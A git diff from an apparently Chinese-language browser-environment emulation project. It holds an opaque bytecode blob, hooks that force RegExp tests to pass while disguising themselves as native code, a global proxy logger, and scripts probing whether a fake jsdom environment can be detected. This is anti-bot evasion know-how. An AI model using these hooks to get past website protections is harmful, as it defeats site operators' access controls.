\u0007í\\íl\u001c™\u001cô-ĚA\u0001\u0002\u0000\u001c™ô-\u001cšô-\u001c›ô-\u001cœô-\u001c’ô-\u0002\u0005\u001c|ô-\u0002\u0018ô-A\u0007í\\íl\u001cœ\u001cô-ĚA\u0001\u0002\u0000\u001cœô-\u001c™ô-\u001cšô-\u001c›ô-\u001c—ô-\u0002\t\u001c|ô-\u0002\u0019ô-A\u0007í\\íl\u001c›\u001cô-ĚA\u0001\u0002\u0000\u001c›ô-\u001cœô-\u001c™ô-\u001cšô-\u001cŒô-\u0002\u000e\u001c|ô-\u0002\u001aô-A\u0007í\\íl\u001cš\u001cô-ĚA\u0001\u0002\u0000\u001cšô-\u001c›ô-\u001cœô-\u001c™ô-\u001c‘ô-\u0002\u0014\u001c|ô-\u0002\u001bô-A\u0007í\\íl\u001c™\u001cô-ĚA\u0001\u0002\u0000\u001c™ô-\u001cšô-\u001c›ô-\u001cœô-\u001c–ô-\u0002\u0005\u001c|ô-\u0002\u001cô-A\u0007í\\íl\u001cœ\u001cô-ĚA\u0001\u0002\u0000\u001cœô-\u001c™ô-\u001cšô-\u001c›ô-\u001c‹ô-\u0002\t\u001c|ô-\u0002\u001dô-A\u0007í\\íl\u001c›\u001cô-ĚA\u0001\u0002\u0000\u001c›ô-\u001cœô-\u001c™ô-\u001cšô-\u001cô-\u0002\u000e\u001c|ô-\u0002\u001eô-A\u0007í\\íl\u001cš\u001cô-ĚA\u0001\u0002\u0000\u001cšô-\u001c›ô-\u001cœô-\u001c™ô-\u001c•ô-\u0002\u0014\u001c|ô-\u0002\u001fô-A\u0007í\\íl\u001c™\u001c€ô-ĚA\u0001\u0002\u0000\u001c™ô-\u001cšô-\u001c›ô-\u001cœô-\u001cŽô-\u0002\u0004\u001c|ô-\u0002 ô-A\u0007í\\íl\u001cœ\u001c€ô-ĚA\u0001\u0002\u0000\u001cœô-\u001c™ô-\u001cšô-\u001c›ô-\u001c‘ô-\u0002\u000b\u001c|ô-\u0002!ô-A\u0007í\\íl\u001c›\u001c€ô-ĚA\u0001\u0002\u0000\u001c›ô-\u001cœô-\u001c™ô-\u001cšô-\u001c”ô-\u0002\u0010\u001c|ô-\u0002\"ô-A\u0007í\\íl\u001cš\u001c€ô-ĚA\u0001\u0002\u0000\u001cšô-\u001c›ô-\u001cœô-\u001c™ô-\u001c—ô-\u0002\u0017\u001c|ô-\u0002#ô-A\u0007í\\íl\u001c™\u001c€ô-ĚA\u0001\u0002\u0000\u001c™ô-\u001cšô-\u001c›ô-\u001cœô-\u001cŠô-\u0002\u0004\u001c|ô-\u0002$ô-A\u0007í\\íl\u001cœ\u001c€ô-ĚA\u0001\u0002\u0000\u001cœô-\u001c™ô-\u001cšô-\u001c›ô-\u001cô-\u0002\u000b\u001c|ô-\u0002%ô-A\u0007í\\íl\u001c›\u001c€ô-ĚA\u0001\u0002\u0000\u001c›ô-\u001cœô-\u001c™ô-\u001cšô-\u001cô-\u0002\u0010\u001c|ô-\u0002&ô-A\u0007í\\íl\u001cš\u001c€ô-ĚA\u0001\u0002\u0000\u001cšô-\u001c›ô-\u001cœô-\u001c™ô-\u001c“ô-\u0002\u0017\u001c|ô-\u0002'ô-A\u0007í\\íl\u001c™\u001c€ô-ĚA\u0001\u0002\u0000\u001c™ô-\u001cšô-\u001c›ô-\u001cœô-\u001c–ô-\u0002\u0004\u001c|ô-\u0002(ô-A\u0007í\\íl\u001cœ\u001c€ô-ĚA\u0001\u0002\u0000\u001cœô-\u001c™ô-\u001cšô-\u001c›ô-\u001c‰ô-\u0002\u000b\u001c|ô-\u0002)ô-A\u0007í\\íl\u001c›\u001c€ô-ĚA\u0001\u0002\u0000\u001c›ô-\u001cœô-\u001c™ô-\u001cšô-\u001cŒô-\u0002\u0010\u001c|ô-\u0002*ô-A\u0007í\\íl\u001cš\u001c€ô-ĚA\u0001\u0002\u0000\u001cšô-\u001c›ô-\u001cœô-\u001c™ô-\u001cô-\u0002\u0017\u001c|ô-\u0002+ô-A\u0007í\\íl\u001c™\u001c€ô-ĚA\u0001\u0002\u0000\u001c™ô-\u001cšô-\u001c›ô-\u001cœô-\u001c’ô-\u0002\u0004\u001c|ô-\u0002,ô-A\u0007í\\íl\u001cœ\u001c€ô-ĚA\u0001\u0002\u0000\u001cœô-\u001c™ô-\u001cšô-\u001c›ô-\u001c•ô-\u0002\u000b\u001c|ô-\u0002-ô-A\u0007í\\íl\u001c›\u001c€ô-ĚA\u0001\u0002\u0000\u001c›ô-\u001cœô-\u001c™ô-\u001cšô-\u001c˜ô-\u0002\u0010\u001c|ô-\u0002.ô-A\u0007í\\íl\u001cš\u001c€ô-ĚA\u0001\u0002\u0000\u001cšô-\u001c›ô-\u001cœô-\u001c™ô-\u001c‹ô-\u0002\u0017\u001c|ô-\u0002/ô-A\u0007í\\íl\u001c™\u001cô-ĚA\u0001\u0002\u0000\u001c™ô-\u001cšô-\u001c›ô-\u001cœô-\u001c‰ô-\u0002\u0006\u001c|ô-\u00020ô-A\u0007í\\íl\u001cœ\u001cô-ĚA\u0001\u0002\u0000\u001cœô-\u001c™ô-\u001cšô-\u001c›ô-\u001cô-\u0002\n\u001c|ô-\u00021ô-A\u0007í\\íl\u001c›\u001cô-ĚA\u0001\u0002\u0000\u001c›ô-\u001cœô-\u001c™ô-\u001cšô-\u001c—ô-\u0002\u000f\u001c|ô-\u00022ô-A\u0007í\\íl\u001cš\u001cô-ĚA\u0001\u0002\u0000\u001cšô-\u001c›ô-\u001cœô-\u001c™ô-\u001cŽô-\u0002\u0015\u001c|ô-\u00023ô-A\u0007í\\íl\u001c™\u001cô-ĚA\u0001\u0002\u0000\u001c™ô-\u001cšô-\u001c›ô-\u001cœô-\u001c•ô-\u0002\u0006\u001c|ô-\u00024ô-A\u0007í\\íl\u001cœ\u001cô-ĚA\u0001\u0002\u0000\u001cœô-\u001c™ô-\u001cšô-\u001c›ô-\u001cŒô-\u0002\n\u001c|ô-\u00025ô-A\u0007í\\íl\u001c›\u001cô-ĚA\u0001\u0002\u0000\u001c›ô-\u001cœô-\u001c™ô-\u001cšô-\u001c“ô-\u0002\u000f\u001c|ô-\u00026ô-A\u0007í\\íl\u001cš\u001cô-ĚA\u0001\u0002\u0000\u001cšô-\u001c›ô-\u001cœô-\u001c™ô-\u001cŠô-\u0002\u0015\u001c|ô-\u00027ô-A\u0007í\\íl\u001c™\u001cô-ĚA\u0001\u0002\u0000\u001c™ô-\u001cšô-\u001c›ô-\u001cœô-\u001c‘ô-\u0002\u0006\u001c|ô-\u00028ô-A\u0007í\\íl\u001cœ\u001cô-ĚA\u0001\u0002\u0000\u001cœô-\u001c™ô-\u001cšô-\u001c›ô-\u001c˜ô-\u0002\n\u001c|ô-\u00029ô-A\u0007í\\íl\u001c›\u001cô-ĚA\u0001\u0002\u0000\u001c›ô-\u001cœô-\u001c™ô-\u001cšô-\u001cô-\u0002\u000f\u001c|ô-\u0002:ô-A\u0007í\\íl\u001cš\u001cô-ĚA\u0001\u0002\u0000\u001cšô-\u001c›ô-\u001cœô-\u001c™ô-\u001c–ô-\u0002\u0015\u001c|ô-\u0002;ô-A\u0007í\\íl\u001c™\u001cô-ĚA\u0001\u0002\u0000\u001c™ô-\u001cšô-\u001c›ô-\u001cœô-\u001cô-\u0002\u0006\u001c|ô-\u0002<ô-A\u0007í\\íl\u001cœ\u001cô-ĚA\u0001\u0002\u0000\u001cœô-\u001c™ô-\u001cšô-\u001c›ô-\u001c”ô-\u0002\n\u001c|ô-\u0002=ô-A\u0007í\\íl\u001c›\u001cô-ĚA\u0001\u0002\u0000\u001c›ô-\u001cœô-\u001c™ô-\u001cšô-\u001c‹ô-\u0002\u000f\u001c|ô-\u0002>ô-A\u0007í\\íl\u001cš\u001cô-ĚA\u0001\u0002\u0000\u001cšô-\u001c›ô-\u001cœô-\u001c™ô-\u001c’ô-\u0002\u0015\u001c|ô-\u0002?ô-A\u0007í\\íl\u001cˆô-\u0002\u0000\u001cˆô-\u0002\u0000ô-\u001c™ô-ôL\u0002\u0000ô†íl\u001cˆô-\u0002\u0001\u001cˆô-\u0002\u0001ô-\u001cšô-ôL\u0002\u0000ô†íl\u001cˆô-\u0002\u0002\u001cˆô-\u0002\u0002ô-\u001c›ô-ôL\u0002\u0000ô†íl\u001cˆô-\u0002\u0003\u001cˆô-\u0002\u0003ô-\u001cœô-ôL\u0002\u0000ô†ílA\u0002÷\u000bκ΁ΊΣΌ΋΄ΉΌΟ΀¿\u0000ȮWWžWŸW W¡W¢W£W¤W¥W¦ˆȘX\u0002÷\u0005κ΁΄Α΄ô-)\u001cô-÷\u0005ΒΊΗ΁Ζô-)žX\u0002÷\u000bκ΋Ρ΄Α΄ΧΜΑ΀Ζô-\u0002\bôG)Ÿ\u001cô-÷\bΖΌ΂ΧΜΑ΀Ζô-\u0002\bôG) \u001cžô-\u001c ô-\u0002\u0005ôï\u001cžô-\u001c ô-\u0002\u0005ôïô-\u0002€\u0002\u0018\u001c ô-\u0002 ô7ôĊôĔô†íl\u0002\u0000X\u0000-\u0002\u0000ô-÷\u0005΃ΉΊΊΗ\u001cŸô-\u0002\u0000ô‘A\u0001í\\)¡\u001cŸô-)¢\u001cžô-\u001c ô-\u0002@ôL\u0002\tôï\u0002\u0004ôĔ\u0002\u000fôL\u001c¡ô-\u0002\bôĔ\u001c¡ô-\u0002\u0018ôïô†\u0002ÿôĝ\u001c¡ô-\u0002\u0018ôĔ\u001c¡ô-\u0002\bôïô†\u0002＀ôĝô†íl\u001cžô-\u001c ô-\u0002@ôL\u0002\tôï\u0002\u0004ôĔ\u0002\u000eôL\u001c¢ô-\u0002\bôĔ\u001c¢ô-\u0002\u0018ôïô†\u0002ÿôĝ\u001c¢ô-\u0002\u0018ôĔ\u001c¢ô-\u0002\bôïô†\u0002＀ôĝô†íl\u001cô-÷\bΖΌ΂ΧΜΑ΀Ζ\u001cžô-÷\u0006Ή΀΋΂Α΍ô-\u0002\u0001ôL\u0002\u0004ôGílX\u0002÷\bκΕΗΊΆ΀ΖΖA\u0000í\\X\u0002÷\u0005κ΍΄Ζ΍ô-)£\u001c£ô-÷\u0005ΒΊΗ΁Ζô-)¤E•ˆ\u0002Ė\u0001ˆŒ\u0002\u0000)¥\u001c¥ô-\u0002\u0004ô&a3yˆvEuˆ\u0002Ė\u0001ˆl\u001c¤ô-\u001c¥ô-ô-)¦\u001c¤ô-\u001c¥ô-\u001c¦ô-\u0002\bôĔ\u001c¦ô-\u0002\u0018ôïô†\u0002ÿôĝ\u001c¦ô-\u0002\u0018ôĔ\u001c¦ô-\u0002\bôïô†\u0002＀ôĝô†íl\u001c¥\u001c¥ô-\u0002\u0001ôLíl\u001c¥ô-\u0002\u0001ôĊ\u001c¥ô-\u0002\u0004ô&\fa3\u0004ˆ\u0001ā3\u0003ˆ\u0000īr3\u0003ˆ\u0000āī’\u001c£ô-9A\u0002÷\u0005ΆΉΊ΋΀¿\u0000GW§ˆC\u001czô-÷\u0005ΆΉΊ΋΀ô-÷\u0004Ά΄ΉΉX\u0002A\u0001í\\)§\u001c§ô-÷\u0005κ΍΄Ζ΍X\u0002÷\u0005κ΍΄Ζ΍ô-÷\u0005ΆΉΊ΋΀A\u0000í\\íl\u001c§ô-9A\u0002A\u0004ĒA\u0001í\\íl)}¿\u0007W¨W©WªW«W¬W­W®W¯ˆ~\u0002\u0001X\u0000-\u0002\u0000ô-\u0002\u0002X\u0000-\u0002\u0000ô-\u0002\u0003X\u0000-\u0002\u0000ô-ôĝ\u0002\u0002X\u0000-\u0002\u0000ô-ö\u0002\u0004X\u0000-\u0002\u0000ô-ôĝô†ôL\u0002\u0005X\u0000-\u0002\u0000ô-ôL\u0002\u0007X\u0000-\u0002\u0000ô-ôL)¯\u001c¯ô-\u0002\u0006X\u0000-\u0002\u0000ô-ôĔ\u001c¯ô-\u0002 \u0002\u0006X\u0000-\u0002\u0000ô-ôĊôïô†\u0002\u0002X\u0000-\u0002\u0000ô-ôL9)~¿\u0007W°W±W²W³W´WµW¶W·ˆ~\u0002\u0001X\u0000-\u0002\u0000ô-\u0002\u0002X\u0000-\u0002\u0000ô-\u0002\u0004X\u0000-\u0002\u0000ô-ôĝ\u0002\u0003X\u0000-\u0002\u0000ô-\u0002\u0004X\u0000-\u0002\u0000ô-öôĝô†ôL\u0002\u0005X\u0000-\u0002\u0000ô-ôL\u0002\u0007X\u0000-\u0002\u0000ô-ôL)·\u001c·ô-\u0002\u0006X\u0000-\u0002\u0000ô-ôĔ\u001c·ô-\u0002 \u0002\u0006X\u0000-\u0002\u0000ô-ôĊôïô†\u0002\u0002X\u0000-\u0002\u0000ô-ôL9)¿\u0007„W¸W¹WºW»W¼W½W¾W¿ˆr\u0002\u0001X\u0000-\u0002\u0000ô-\u0002\u0002X\u0000-\u0002\u0000ô-\u0002\u0003X\u0000-\u0002\u0000ô-ô™\u0002\u0004X\u0000-\u0002\u0000ô-ô™ôL\u0002\u0005X\u0000-\u0002\u0000ô-ôL\u0002\u0007X\u0000-\u0002\u0000ô-ôL)¿\u001c¿ô-\u0002\u0006X\u0000-\u0002\u0000ô-ôĔ\u001c¿ô-\u0002 \u0002\u0006X\u0000-\u0002\u0000ô-ôĊôïô†\u0002\u0002X\u0000-\u0002\u0000ô-ôL9)€¿\u0007…WÀWÁWÂWÃWÄWÅWÆWLjs\u0002\u0001X\u0000-\u0002\u0000ô-\u0002\u0003X\u0000-\u0002\u0000ô-\u0002\u0002X\u0000-\u0002\u0000ô-\u0002\u0004X\u0000-\u0002\u0000ô-öô†ô™ôL\u0002\u0005X\u0000-\u0002\u0000ô-ôL\u0002\u0007X\u0000-\u0002\u0000ô-ôL)Ç\u001cÇô-\u0002\u0006X\u0000-\u0002\u0000ô-ôĔ\u001cÇô-\u0002 \u0002\u0006X\u0000-\u0002\u0000ô-ôĊôïô†\u0002\u0002X\u0000-\u0002\u0000ô-ôL9)\u001cwô-÷\u0003ΨΡϐ\u001czô-÷\rκΆΗ΀΄Α΀έ΀ΉΕ΀Η\u001c}ô-A\u0001í\\íl\u001cwô-÷\u0007έΈ΄ΆΨΡϐ\u001czô-÷\u0011κΆΗ΀΄Α΀έΈ΄Άέ΀ΉΕ΀Η\u001c}ô-A\u0001í\\ílA\u0001\u0002\u0000÷\u0004Ψ΄Α΍X\u0001-A\u0001í\\÷\u0006ΒΌ΋΁ΊΒX\u0001-÷\u0007΄Ώ΍΃Γ΄΃¿\u0001ЫWÈWÉWÊWËWÌWÍWÎWÏWЈЗ\u0002\u0000X\u0000-\u0002\u0000ô-÷\u0005ΖΕΉΌΑ÷\u0000A\u0001í\\)ÊA\u0000)ËE½ˆ\u0002Ė\u0001ˆ´\u001cÏ\u0002\u0000íl\u001cÏô-\u001cÊô-÷\u0006Ή΀΋΂Α΍ô-ô&a3“ˆEˆ\u0002Ė\u0001ˆ†\u001c\u0005ô-÷\u0003ΨΡϐ\u0002\u0000X\u0000-\u0002\u0000ô-A\u0001í\\÷\bΑΊζΑΗΌ΋΂A\u0000í\\÷\u0005ΖΕΉΌΑ÷\u0000A\u0001í\\÷\u0007Η΀Γ΀ΗΖ΀A\u0000í\\)Ì\u001cËô-÷\u0004ΕΐΖ΍\u001cÌô-A\u0001í\\\u001cÏ\u001cÏô-\u0002\u0001ôLíl\u001cÏô-\u0002\u0001ôĊ\u001cÏô-\u001cÊô-÷\u0006Ή΀΋΂Α΍ô-ô&\fa3\u0004ˆ\u0001ā3\u0003ˆ\u0000īŒ3\u0003ˆ\u0000āīº÷@ΤΧΦΡΠΣ΢έάίήΩΨΫΪεδηζαΰγβνμο΄·Ά΁΀΃΂΍ΌΏΎΉΈ΋ΊΕΔΗΖΑΐΓΒΝΜΟϕϔϗϖϑϐϓϒϝϜώϊ÷\u0005ΖΕΉΌΑ÷\u0000A\u0001í\\)Í÷\b΁ΊΆΐΈ΀΋ΑX\u0001-a3ąˆĂ÷\rΆΗ΀΄Α΀ΠΉ΀Έ΀΋Α÷\u0005ΒΗΌΑ΀÷\u0003ΰηΩ÷\u000bΆΊ΋ΖΑΗΐΆΑΊΗ÷\u0004·Ί΁Μ÷\bΑΊζΑΗΌ΋΂÷\u0006΄ΕΕ΀΋΁÷\bΉΊΆ΄ΑΌΊ΋A\b)ÎE³ˆ\u0002Ė\u0001ˆª\u0002\u0000)Ï\u001cÏô-\u001cÎô-÷\u0006Ή΀΋΂Α΍ô-ô&a3‹ˆˆE‡ˆ\u0002Ė\u0001ˆ~÷\b΁ΊΆΐΈ΀΋ΑX\u0001-\u001cÎô-\u001cÏô-ô-ô-a3+ˆ(\u001cËô-÷\u0004ΕΐΖ΍\u001cÍô-\u001cÎô-\u001cÏô-ô-÷\u0006Ή΀΋΂Α΍ô-ô-A\u0001í\\3\u0003ˆ\u0000\u001cÏ\u001cÏô-\u0002\u0001ôLíl\u001cÏô-\u0002\u0001ôĊ\u001cÏô-\u001cÎô-÷\u0006Ή΀΋΂Α΍ô-ô&\fa3\u0004ˆ\u0001ā3\u0003ˆ\u0000ī„3\u0003ˆ\u0000āī°3\u0003ˆ\u0000¿\u0000ZWшV÷\u0007ΆΊ΋ΖΊΉ΀X\u0001-)Ñ\u001cÑô-a39ˆ6÷\u0004ίζΪΫX\u0001-÷\tΖΑΗΌ΋΂Ό΃Μ÷\u0007ΆΊ΋ΖΊΉ΀X\u0001-A\u0001í\\÷\rΞχΈ΀ΈΊΗΜχϟΞΘΘô¦93\bˆ\u0005\u001cÑô-9÷\u0005΄ΕΕΉΜX\u0002X\u0003A\u0002í\\a3ãˆà÷\u0006΄ΖΖ΀ΗΑ÷\u0005΁΀·ΐ΂÷\b΂ΗΊΐΕΠ΋΁÷\u0005ΑΗ΄Ά΀÷\u0007ΕΗΊ΃ΌΉ΀A\u0005)ÐE²ˆ\u0002Ė\u0001ˆ©\u0002\u0000)Ï\u001cÏô-\u001cÐô-÷\u0006Ή΀΋΂Α΍ô-ô&a3Šˆ‡E†ˆ\u0002Ė\u0001ˆ}÷\u0007ΆΊ΋ΖΊΉ΀X\u0001-\u001cÐô-\u001cÏô-ô-ô-a3+ˆ(\u001cËô-÷\u0004ΕΐΖ΍\u001cÍô-\u001cÐô-\u001cÏô-ô-÷\u0006Ή΀΋΂Α΍ô-ô-A\u0001í\\3\u0003ˆ\u0000\u001cÏ\u001cÏô-\u0002\u0001ôLíl\u001cÏô-\u0002\u0001ôĊ\u001cÏô-\u001cÐô-÷\u0006Ή΀΋΂Α΍ô-ô&\fa3\u0004ˆ\u0001ā3\u0003ˆ\u0000īƒ3\u0003ˆ\u0000āī¯3\u0003ˆ\u0000\u001cË\u001cËô-÷\u0000ôLíl\u001cË\u001cËô-÷\u0005ΖΕΉΌΑ÷\u0001ωA\u0001í\\íl\u001cË\u001cËô-÷\u0004ΖΊΗΑA\u0000í\\÷\u0004ΏΊΌ΋÷\u0002ϔϕA\u0001í\\íl÷\u0004·ΑΊ΄X\u0001-ĚA\u0001\u0002\u0000\u001cËô-A\u0001í\\÷\u0005ΖΕΉΌΑ÷\u0000A\u0001í\\÷\u0007Η΀Γ΀ΗΖ΀A\u0000í\\÷\u0004ΏΊΌ΋÷\u0000A\u0001í\\9íl9"]); + return window.kkk(qq); +} + +// console.log(getQQ("1980054932")); +console.log(getQQ("1980054932")); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/knowledge/一些hook.js b/env_xbb_lastest_jsdom/knowledge/一些hook.js new file mode 100644 index 00000000..da433d7a --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/一些hook.js @@ -0,0 +1,7 @@ +RegExp.prototype.test_ = RegExp.prototype.test; +RegExp.prototype.test = function (val) { + return true; +}; +RegExp.prototype.test.toString = function () { + return "function test() { [native code] }" +} diff --git a/env_xbb_lastest_jsdom/knowledge/总结知识.js b/env_xbb_lastest_jsdom/knowledge/总结知识.js new file mode 100644 index 00000000..49c6865b --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/总结知识.js @@ -0,0 +1,230 @@ +// 代理器失效 1.没有使用代理对象 2.代理器脱钩 目标代码通过 this 绕过代理器 +// 解决办法 +window = this; +window = new Proxy(window, this) +// globalThis=new Proxy(globalThis,'globalThis') +// window.mythis=function(){ +/// 网站扣下的代码 +// } +// mythis() + +//2自执行 +for (let name in global) { + switch (name) { + case "window": + continue; + case "global": + continue; + } + window[name] = global[name]; + delete global[name]; +} + +window = myProxy(window, "window"); +Object.setPrototypeOf(global, window); +!function () { }() + + + +//全局hook +bobomyHookfilter={ + 'location':true, + 'Function':true, + 'Object':true, + 'window':true, + 'Window':true, + 'document':true, + 'bobomyHook':true, + "hookObjs":true, + 'objlist':true, + 'JSON':true, + 'bobomyHookfilter':true, + 'Math':true, + 'Intl':true, + 'Reflect':true, + 'console':true, + 'CSS':true, + 'Atomics':true, + 'top':true, + + +} +hookObjs = { + +} +objlist=[ + { + 'name':"window", + 'obj':window + }, + { + 'name':"document", + 'obj':document + }, + { + 'name':"screen", + 'obj':screen + }, + { + 'name':"history", + 'obj':history + }, + { + 'name':"localStorage", + 'obj':localStorage + }, + { + 'name':'navigation', + 'obj':navigation + }, + { + 'name':'webkitStorageInfo', + 'obj':webkitStorageInfo + }, + { + 'name':'speechSynthesis', + 'obj':speechSynthesis + + }, + { + 'name':'sessionStorage', + 'obj':sessionStorage + + }, + { + 'name':'customElements', + 'obj':customElements + }, + { + 'name':'clientInformation', + 'obj':clientInformation + }, + { + 'name':'menubar', + 'obj':menubar + }, + { + 'name':'toolbar', + 'obj':toolbar + }, + { + 'name':'visualViewport', + 'obj':visualViewport + }, + + { + 'name':'styleMedia', + 'obj':styleMedia + }, + + { + 'name':'scheduler', + 'obj':scheduler + }, + + { + 'name':'indexedDB', + 'obj':indexedDB + }, + + + { + 'name':'trustedTypes', + 'obj':trustedTypes + }, + + { + 'name':'cookieStore', + 'obj':cookieStore + }, + { + 'name':'external', + 'obj':external + + } + + +] +for (let i = 0; i < objlist.length; i++) { + let name = objlist[i]['name']; + let obj= objlist[i]['obj'] + hookObjs[name] = {} + bobomyHook(obj,name) +} +function bobomyHook(obj,name) { + + let boboobjname = Object.getOwnPropertyNames(obj) + for (let i =0; i ${myvalue} arg->${JSON.stringify(args)} -> result -> ${result}`) + return result + }:undefined, + set:boboset_?function(){ + let args=arguments + let result=hookObjs[name][myvalue + '_set'].apply(this,arguments) + console.log(`${name} set-> ${myvalue} -> arg->${JSON.stringify(args)} value -> ${result}`) + return result + }:undefined + }) + + } else { + hookObjs[name][boboobjname[i] + '_value']=bobovalue_ + if (typeof bobovalue_ =='object'){ + const myvalue=boboobjname[i] + console.log(`${name} value-> ${myvalue} result ->${bobovalue_}`); + Object.defineProperty(obj,boboobjname[i],{ + configurable:boboconfigurable_, + enumerable:boboenumerable_, + writable:bobowritable_, + value:bobovalue_ + }) + + }else if (typeof bobovalue_ =='function'){ + const myvalue=boboobjname[i] + Object.defineProperty(obj,boboobjname[i],{ + configurable:boboconfigurable_, + enumerable:boboenumerable_, + writable:bobowritable_, + value:function (){ + let args=arguments + let result=hookObjs[name][myvalue + '_value'].apply(this,arguments) + console.log(`${name} value apply -> ${myvalue} arg->${JSON.stringify(args)} result ->${result}`); + return result + } + }) + } + } + }catch{} + + } + + if (obj.__proto__ !=null){ + bobomyHook(obj.__proto__,name) + } + + +} + +// window.atob('123') \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/knowledge/检测/13.js b/env_xbb_lastest_jsdom/knowledge/检测/13.js new file mode 100644 index 00000000..97f2c6d4 --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/13.js @@ -0,0 +1,57 @@ + +function test_eq(){ + if (!(navigator.plugins[0]==navigator.plugins[0])){ + console.log(`navigator.plugins[0]==navigator.plugins[0] 可以被检测`) + } + + if (!(document.documentElement==document.documentElement)){ + console.log(`document.documentElement==document.documentElement 可以被检测`) + } + if (!(document.scripts==document.scripts)){ + console.log(`document.scripts==document.scripts 可以被检测`) + } + if (!(document.images==document.images)){ + console.log(`document.images==document.images 可以被检测`) + } + if (!(document.getElementsByTagName('div')==document.getElementsByTagName('div'))){ + console.log(`document.getElementsByTagName('div')==document.getElementsByTagName('div') 可以被检测`) + } + if (!(document.documentElement.getElementsByTagName('div')==document.documentElement.getElementsByTagName('div'))){ + console.log(`document.documentElement.getElementsByTagName('div')==document.documentElement.getElementsByTagName('div') 可以被检测`) + } + + if(window.matchMedia(1)==window.matchMedia(1)){ + console.log(`window.matchMedia(1)==window.matchMedia(1)可以被检测`) + } + + + if(!(navigator.credentials==navigator.credentials)){ + console.log(`navigator.credentials==navigator.credentials可以被检测`) + } + + if (!(navigator.storage==navigator.storage)){ + console.log(`navigator.storage==navigator.storage可以被检测`) + + } + + if(!(navigator.permissions==navigator.permissions)){ + console.log(`navigator.permissions==navigator.permissions可以被检测`) + + } + + if(!(navigator.locks==navigator.locks)){ + console.log(`navigator.locks==navigator.locks可以被检测`) + + } + + if(!(document.documentElement.style==document.documentElement.style)){ + console.log(`document.documentElement.style==document.documentElement.style可以被检测`) + + } + if ((document.getElementsByTagName('div')[0].style==document.documentElement.style)){ + console.log(`document.getElementsByTagName('div')[0].style==document.documentElement.style可以被检测`) + + } +} + +test_eq() diff --git a/env_xbb_lastest_jsdom/knowledge/检测/14.js b/env_xbb_lastest_jsdom/knowledge/检测/14.js new file mode 100644 index 00000000..2c682b4c --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/14.js @@ -0,0 +1,15 @@ +function test_window_len() { + if (window.length) { + if (window[0] === window) { + console.log(`test_window_len 可以被检测`); + + } else { + console.log(`test_window_len 检测通过`); + + } + } else { + console.log(`test_window_len 可以被检测`); + } +} + +test_window_len() \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/knowledge/检测/Node环境检测.html b/env_xbb_lastest_jsdom/knowledge/检测/Node环境检测.html new file mode 100644 index 00000000..4ddf50a9 --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/Node环境检测.html @@ -0,0 +1,41 @@ + + + + + + + diff --git a/env_xbb_lastest_jsdom/knowledge/检测/all.js b/env_xbb_lastest_jsdom/knowledge/检测/all.js new file mode 100644 index 00000000..b84eae6d --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/all.js @@ -0,0 +1,40 @@ + +function test_document_all(){ + if (!(document.all[0])){ + console.log(`document.all[0]可以被检测`) + + } + + if (!(document.all.toString() =='[object HTMLAllCollection]')){ + console.log(`document.all.toString()可以被检测`) + } + if (!(document.all == undefined)){ + console.log(`document.all == undefined可以被检测`) + + } + if (!(typeof(document.all)=='undefined')){ + console.log(`typeof(document.all)可以被检测`) + + } + if ( !('all' in document ==true)){ + console.log(`'all' in document可以被检测`) + + } + if (!(document.all(1))){ + console.log(`'document.all(1)可以被检测`) + + } + if (!(document.all()==null)){ + console.log(`'document.all()可以被检测`) + + } + + if (!(document.all ==document.all)){ + console.log(`document.all可以被检测`) + + } + if (!(Object.apply.call(document.all,null,[1]))){ + console.log(`Object.apply.call(document.all,null,[1]) 可以被检测`) + } +} +test_document_all() \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/knowledge/检测/de11.js b/env_xbb_lastest_jsdom/knowledge/检测/de11.js new file mode 100644 index 00000000..d78b5394 --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/de11.js @@ -0,0 +1,16 @@ +// r6检测 +function _testform() { + from = document.createElement("form") + from.id = '__Zm9ybS5pZAo__' + from.action = 'https://ucenter.miit.gov.cn/login.jsp' + input1 = document.createElement("input") + input1.id = 'username' + input1.content = 'action' + input1.name = 'action' + from.appendChild(input1) + var ccc = from.action + console.log(ccc) + +} + +_testform() \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/knowledge/检测/demo1.js b/env_xbb_lastest_jsdom/knowledge/检测/demo1.js new file mode 100644 index 00000000..23041d16 --- /dev/null +++ b/env_xbb_lastest_jsdom/knowledge/检测/demo1.js @@ -0,0 +1,133 @@ +!function (n, e, t, r, u, i, f, o, c, d, l, a, p, s, m, g, y, h, b, v, w, k, x, O, _, j, C, I, q, R, z, A, E, F, P, S, $, B, D, M, U, G, H, J, K, L, N, Q, T, V, W, X, Y, Z, nn, en, tn, rn, un, fn, on, cn, dn, ln, an, pn, sn, mn, gn, yn, hn, bn, vn, wn, kn, xn, On, _n, jn, Cn, In, qn, Rn, zn, An, En, Fn, Pn, Sn, $n, Bn, Dn, Mn, Un, Gn, Hn, Jn, Kn, Ln, Nn, Qn, Tn, Vn, Wn, Xn, Yn, Zn, ne, ee, te, re, ue, ie, fe, oe, ce, de, le, ae, pe, se, me, ge, ye, he, be, ve, we, ke, xe, Oe, _e, je, Ce, Ie, qe, Re, ze, Ae, Ee, Fe, Pe, Se) { + function $e(n, e, t, r, i, f, d, s, h, v) { + return e == oe ? (r ? t[Mn][nn[dn]]() || t[ge][nn[dn]]() : t[Mn][nn[cn]](en) || t[ge][nn[cn]](en)) && undefined : e == ae ? (t = {}) && (t[Mn] = []) && (t[ge] = []) && ((t[Rn] = en) || tn) && t : e == sn ? t ? r[R(r) - tn] : r[R(r) - tn] = i : e == ee ? A(r, Yn) ? E(r, Yn) : A(r, yn) ? E(r, yn) : i ? K(t, r) : E(r, Ln) : e == on ? ((i = {})[nn[Zn]] = t) && i : e == he ? t[nn[Dn]] : e == In ? !(i = b[t[r]]) || r != Yn && r != Ln ? i : t[nn[ae]] ? j[t[nn[ae]]] : ((t[nn[ae]] = t[nn[rn]] + nn[ae] + (t[nn[Pn]] ^ On)) || tn) && ((j[t[nn[ae]]] = F(rn, F(tn, i), t[nn[Pn]] & ze)) || tn) && j[t[nn[ae]]] : e == Un ? (f = P(r ? t[nn[qn]](r) : t)) && [i ? null : 